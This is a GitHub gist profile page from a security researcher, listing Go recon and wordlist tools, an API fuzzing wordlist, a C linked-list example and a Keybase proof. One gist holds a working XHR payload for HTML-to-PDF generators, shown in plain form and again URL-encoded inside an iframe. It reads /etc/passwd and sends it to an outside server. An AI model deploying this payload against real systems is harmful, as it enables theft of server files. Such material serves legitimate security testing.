Skip to content

Instantly share code, notes, and snippets.

View lc's full-sized avatar
💻
probably hitting my head on a desk

Corben Leo lc

💻
probably hitting my head on a desk
View GitHub Profile
@lc
lc / uwords.go
Created March 3, 2020 00:47
gets all unique words given a host
package main
// uwords.go by corben leo (@hacker_)
// gets all unique words given a host
// and a list of paths
import (
"bytes"
"crypto/tls"
"fmt"
@lc
lc / List of API endpoints & objects
Created October 31, 2019 17:00 — forked from yassineaboukir/List of API endpoints & objects
A list of 3203 common API endpoints and objects designed for fuzzing.
0
00
01
02
03
1
1.0
10
100
1000
@lc
lc / pcidr.go
Created October 21, 2019 15:52
get all ip's from a netblock / cidr – edited from https://gist.github.com/kotakanbe/d3059af990252ba89a82
package main
import (
"fmt"
"log"
"net"
"os"
)
func main() {
@lc
lc / waywords.go
Last active April 4, 2023 21:16
generate wordlists utilizing the wayback machine
package main
import (
"bufio"
"fmt"
"net/url"
"os"
"strings"
)
@lc
lc / poc.md
Created March 28, 2019 01:07
xhr to steal local files in HTML2PDF generators
x=new XMLHttpRequest;x.onload=function(){l=new XMLHttpRequest;l.open("GET","http://<ATTACKER-SERVER>:1337/"+encodeURIComponent(this.responseText));l.send();};x.open("GET","file:///etc/passwd");x.send();
<iframe src="javascript:%78%3d%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%3b%78%2e%6f%6e%6c%6f%61%64%3d%66%75%6e%63%74%69%6f%6e%28%29%7b%6c%3d%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%3b%6c%2e%6f%70%65%6e%28%22%47%45%54%22%2c%22%68%74%74%70%3a%2f%2f%78%2e%78%78%65%2e%73%68%3a%31%33%33%37%2f%22%2b%65%6e%63%6f%64%65%55%52%49%43%6f%6d%70%6f%6e%65%6e%74%28%74%68%69%73%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%29%29%3b%6c%2e%73%65%6e%64%28%29%3b%7d%3b%78%2e%6f%70%65%6e%28%22%47%45%54%22%2c%22%66%69%6c%65%3a%2f%2f%2f%65%74%63%2f%70%61%73%73%77%64%22%29%3b%78%2e%73%65%6e%64%28%29%3b%0a"></iframe>
@lc
lc / llfunb.c
Created March 20, 2019 21:18
Linked List Example
#include <stdio.h>
#include <stdlib.h>
struct boxtype
{
int val;
struct boxtype *link;
};
struct boxtype *makeNode(int x)
@lc
lc / keybase.md
Created May 11, 2017 03:59
keybase.md

Keybase proof

I hereby claim:

  • I am sxcurity on github.
  • I am sxcurity (https://keybase.io/sxcurity) on keybase.
  • I have a public key ASC7qs6WsVvnURD9UCEZ8W4XCTVGZxoJbYq-wavOu9xQOAo

To claim this, I am signing this object: